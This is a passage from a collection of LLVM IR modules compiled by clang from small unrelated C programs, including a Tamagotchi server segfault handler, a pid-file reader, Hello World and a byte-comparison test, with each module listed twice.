%42 = load i32, ptr %4, align 4 %43 = load i32, ptr %3, align 4 %44 = sub nsw i32 %43, 1 %45 = icmp slt i32 %42, %44 br i1 %45, label %46, label %57 46: ; preds = %41 %47 = load i32, ptr %4, align 4 %48 = sext i32 %47 to i64 %49 = getelementptr inbounds i32, ptr %18, i64 %48 %50 = load i32, ptr %49, align 4 %51 = load i32, ptr %4, align 4 %52 = add nsw i32 %51, 1 %53 = sext i32 %52 to i64 %54 = getelementptr inbounds i32, ptr %18, i64 %53 %55 = load i32, ptr %54, align 4 %56 = icmp eq i32 %50, %55 br label %57 57: ; preds = %46, %41 %58 = phi i1 [ false, %41 ], [ %56, %46 ] br i1 %58, label %59, label %65 59: ; preds = %57 %60 = load i64, ptr %6, align 8 %61 = add nsw i64 %60, 1 store i64 %61, ptr %6, align 8 br label %62 62: ; preds = %59 %63 = load i32, ptr %4, align 4 %64 = add nsw i32 %63, 1 store i32 %64, ptr %4, align 4 br label %41, !llvm.loop !8 65: ; preds = %57 %66 = load i64, ptr %6, align 8 %67 = sub nsw i64 %66, 1 %68 = load i64, ptr %6, align 8 %69 = mul nsw i64 %67, %68 %70 = load i64, ptr %5, align 8 %71 = add nsw i64 %70, %69 store i64 %71, ptr %5, align 8 br label %72 72: ; preds = %65 %73 = load i32, ptr %4, align 4 %74 = add nsw i32 %73, 1 store i32 %74, ptr %4, align 4 %75 = load i32, ptr %4, align 4 %76 = load i32, ptr %3, align 4 %77 = sub nsw i32 %76, 1 %78 = icmp slt i32 %75, %77 br i1 %78, label %40, label %._crit_edge3, !llvm.loop !9 ._crit_edge3: ; preds = %72 br label %79 79: ; preds = %._crit_edge3, %33 %80 = load i64, ptr %5, align 8 %81 = call i32 @printf(ptr noundef @.str.1, i64 noundef %80) %82 = load ptr, ptr %7, align 8 call void @llvm.stackrestore(ptr %82) %83 = load i32, ptr %2, align 4 %84 = add nsw i32 %83, -1 store i32 %84, ptr %2, align 4 %85 = icmp ne i32 %83, 0 br i1 %85, label %13, label %._crit_edge6, !llvm.loop !10 ._crit_edge6: ; preds = %79 br label %86 86: ; preds = %._crit_edge6, %0 ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind willreturn declare ptr @llvm.stacksave() #2 declare i32 @ms(ptr noundef, i32 noundef) #1 declare i32 @printf(ptr noundef, i64 noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind willreturn declare void @llvm.stackrestore(ptr) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind willreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '/tmp/tmpkatriz9p.c' source_filename = "/tmp/tmpkatriz9p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpkatriz9p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpdwwdzltu.c' source_filename = "/tmp/tmpdwwdzltu.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [52 x i8] c"An error has occured in the Net Tamagotchi server.\0A\00", align 1 @.str.1 = private unnamed_addr constant [74 x i8] c"Please report the circumstances which caused this to algernon@debian.org\0A\00", align 1 @.str.2 = private unnamed_addr constant [12 x i8] c"Thank you.\0A\00", align 1 @.str.3 = private unnamed_addr constant [52 x i8] c"%s Segmentation violation. Client handler exiting.\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @segv(i32 noundef %0) #0 { %2 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %3 = call i32 @put(ptr noundef @.str) %4 = call i32 @put(ptr noundef @.str.1) %5 = call i32 @put(ptr noundef @.str.2) %6 = call ptr (...) @logtime() %7 = call i32 @printf(ptr noundef @.str.3, ptr noundef %6) %8 = call i32 @fflush(ptr noundef null) %9 = call i32 @exit(i32 noundef 0) #3 unreachable } declare i32 @put(ptr noundef) #1 declare i32 @printf(ptr noundef, ptr noundef) #1 declare ptr @logtime(...) #1 declare i32 @fflush(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpdwwdzltu.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [52 x i8] c"An error has occured in the Net Tamagotchi server.\0A\00", align 1 @.str.1 = private unnamed_addr constant [74 x i8] c"Please report the circumstances which caused this to algernon@debian.org\0A\00", align 1 @.str.2 = private unnamed_addr constant [12 x i8] c"Thank you.\0A\00", align 1 @.str.3 = private unnamed_addr constant [52 x i8] c"%s Segmentation violation. Client handler exiting.\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @segv(i32 noundef %0) #0 { %2 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %3 = call i32 @put(ptr noundef @.str) %4 = call i32 @put(ptr noundef @.str.1) %5 = call i32 @put(ptr noundef @.str.2) %6 = call ptr (...) @logtime() %7 = call i32 @printf(ptr noundef @.str.3, ptr noundef %6) %8 = call i32 @fflush(ptr noundef null) %9 = call i32 @exit(i32 noundef 0) #3 unreachable } declare i32 @put(ptr noundef) #1 declare i32 @printf(ptr noundef, ptr noundef) #1 declare ptr @logtime(...) #1 declare i32 @fflush(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpnyavwx3a.c' source_filename = "/tmp/tmpnyavwx3a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store ptr null, ptr %6, align 8 store ptr null, ptr %7, align 8 %8 = load i32, ptr %4, align 4 %9 = load ptr, ptr %5, align 8 %10 = call i32 @parse_command_line(ptr noundef %6, ptr noundef %7, i32 noundef %8, ptr noundef %9) %11 = load ptr, ptr %6, align 8 %12 = load ptr, ptr %7, align 8 %13 = call i32 @filter_db_dump(ptr noundef %11, ptr noundef %12) ret i32 0 } declare i32 @parse_command_line(ptr noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @filter_db_dump(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpnyavwx3a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store ptr null, ptr %6, align 8 store ptr null, ptr %7, align 8 %8 = load i32, ptr %4, align 4 %9 = load ptr, ptr %5, align 8 %10 = call i32 @parse_command_line(ptr noundef %6, ptr noundef %7, i32 noundef %8, ptr noundef %9) %11 = load ptr, ptr %6, align 8 %12 = load ptr, ptr %7, align 8 %13 = call i32 @filter_db_dump(ptr noundef %11, ptr noundef %12) ret i32 0 } declare i32 @parse_command_line(ptr noundef, ptr noundef, i32 noundef, ptr noundef) #1 declare i32 @filter_db_dump(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpniy1w72n.c' source_filename = "/tmp/tmpniy1w72n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [13 x i8] c"Hello World!\00", align 1 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, ptr %1, align 4 %2 = call i32 @puts(ptr noundef @.str) %3 = load i32, ptr @EXIT_SUCCESS, align 4 ret i32 %3 } declare i32 @puts(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpniy1w72n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [13 x i8] c"Hello World!\00", align 1 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, ptr %1, align 4 %2 = call i32 @puts(ptr noundef @.str) %3 = load i32, ptr @EXIT_SUCCESS, align 4 ret i32 %3 } declare i32 @puts(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp7u388gyt.c' source_filename = "/tmp/tmp7u388gyt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"fopen\00", align 1 @EXIT_FAILURE = dso_local global i32 0, align 4 @.str.2 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @stderr = dso_local global i32 0, align 4 @.str.3 = private unnamed_addr constant [21 x i8] c"%s has no pid value\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @read_pid(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 %6 = call ptr @fopen(ptr noundef %5, ptr noundef @.str) store ptr %6, ptr %3, align 8 %7 = load ptr, ptr %3, align 8 %8 = icmp eq ptr %7, null br i1 %8, label %9, label %13 9: ; preds = %1 %10 = call i32 @perror(ptr noundef @.str.1) %11 = load i32, ptr @EXIT_FAILURE, align 4 %12 = call i32 @exit(i32 noundef %11) #3 unreachable 13: ; preds = %1 %14 = load ptr, ptr %3, align 8 %15 = call i32 @fscanf(ptr noundef %14, ptr noundef @.str.2, ptr noundef %4) %16 = icmp ne i32 1, %15 br i1 %16, label %17, label %23 17: ; preds = %13 %18 = load i32, ptr @stderr, align 4 %19 = load ptr, ptr %2, align 8 %20 = call i32 @fprintf(i32 noundef %18, ptr noundef @.str.3, ptr noundef %19) %21 = load i32, ptr @EXIT_FAILURE, align 4 %22 = call i32 @exit(i32 noundef %21) #3 unreachable 23: ; preds = %13 %24 = load i32, ptr %4, align 4 ret i32 %24 } declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @perror(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @fscanf(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7u388gyt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"fopen\00", align 1 @EXIT_FAILURE = dso_local global i32 0, align 4 @.str.2 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @stderr = dso_local global i32 0, align 4 @.str.3 = private unnamed_addr constant [21 x i8] c"%s has no pid value\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @read_pid(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 %6 = call ptr @fopen(ptr noundef %5, ptr noundef @.str) store ptr %6, ptr %3, align 8 %7 = load ptr, ptr %3, align 8 %8 = icmp eq ptr %7, null br i1 %8, label %9, label %13 9: ; preds = %1 %10 = call i32 @perror(ptr noundef @.str.1) %11 = load i32, ptr @EXIT_FAILURE, align 4 %12 = call i32 @exit(i32 noundef %11) #3 unreachable 13: ; preds = %1 %14 = load ptr, ptr %3, align 8 %15 = call i32 @fscanf(ptr noundef %14, ptr noundef @.str.2, ptr noundef %4) %16 = icmp ne i32 1, %15 br i1 %16, label %17, label %23 17: ; preds = %13 %18 = load i32, ptr @stderr, align 4 %19 = load ptr, ptr %2, align 8 %20 = call i32 @fprintf(i32 noundef %18, ptr noundef @.str.3, ptr noundef %19) %21 = load i32, ptr @EXIT_FAILURE, align 4 %22 = call i32 @exit(i32 noundef %21) #3 unreachable 23: ; preds = %13 %24 = load i32, ptr %4, align 4 ret i32 %24 } declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @perror(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @fscanf(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpjhkh72f7.c' source_filename = "/tmp/tmpjhkh72f7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpjhkh72f7.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpdpeqxx5p.c' source_filename = "/tmp/tmpdpeqxx5p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"%d > %d\0A\00", align 1 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i8, align 1 %3 = alloca i8, align 1 store i32 0, ptr %1, align 4 store i8 -1, ptr %2, align 1 store i8 -6, ptr %3, align 1 %4 = load i8, ptr %2, align 1 %5 = load i8, ptr %3, align 1 %6 = call i32 @is_greater(i8 noundef zeroext %4, i8 noundef zeroext %5) %7 = icmp eq i32 %6, 1 br i1 %7, label %8, label %12 8: ; preds = %0 %9 = load i8, ptr %2, align 1 %10 = load i8, ptr %3, align 1 %11 = call i32 @printf(ptr noundef @.str, i8 noundef zeroext %9, i8 noundef zeroext %10) br label %16 12: ; preds = %0 %13 = load i8, ptr %2, align 1 %14 = load i8, ptr %3, align 1 %15 = call i32 @printf(ptr noundef @.str, i8 noundef zeroext %13, i8 noundef zeroext %14) br label %16 16: ; preds = %12, %8 %17 = load i32, ptr @EXIT_SUCCESS, align 4 ret i32 %17 } declare i32 @is_greater(i8 noundef zeroext, i8 noundef zeroext) #1 declare i32 @printf(ptr noundef, i8 noundef zeroext, i8 noundef zeroext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpdpeqxx5p.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"%d > %d\0A\00", align 1 @EXIT_SUCCESS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i8, align 1 %3 = alloca i8, align 1 store i32 0, ptr %1, align 4 store i8 -1, ptr %2, align 1 store i8 -6, ptr %3, align 1 %4 = load i8, ptr %2, align 1 %5 = load i8, ptr %3, align 1 %6 = call i32 @is_greater(i8 noundef zeroext %4, i8 noundef zeroext %5) %7 = icmp eq i32 %6, 1 br i1 %7, label %8, label %12 8: ; preds = %0 %9 = load i8, ptr %2, align 1 %10 = load i8, ptr %3, align 1 %11 = call i32 @printf(ptr noundef @.str, i8 noundef zeroext %9, i8 noundef zeroext %10) br label %16 12: ; preds = %0 %13 = load i8, ptr %2, align 1 %14 = load i8, ptr %3, align 1 %15 = call i32 @printf(ptr noundef @.str, i8 noundef zeroext %13, i8 noundef zeroext %14) br label %16 16: ; preds = %12, %8 %17 = load i32, ptr @EXIT_SUCCESS, align 4 ret i32 %17 } declare i32 @is_greater(i8 noundef zeroext, i8 noundef zeroext) #1 declare i32 @printf(ptr noundef, i8 noundef zeroext, i8 noundef zeroext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmphyl33c2c.c' source_filename = "/tmp/tmphyl33c2c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
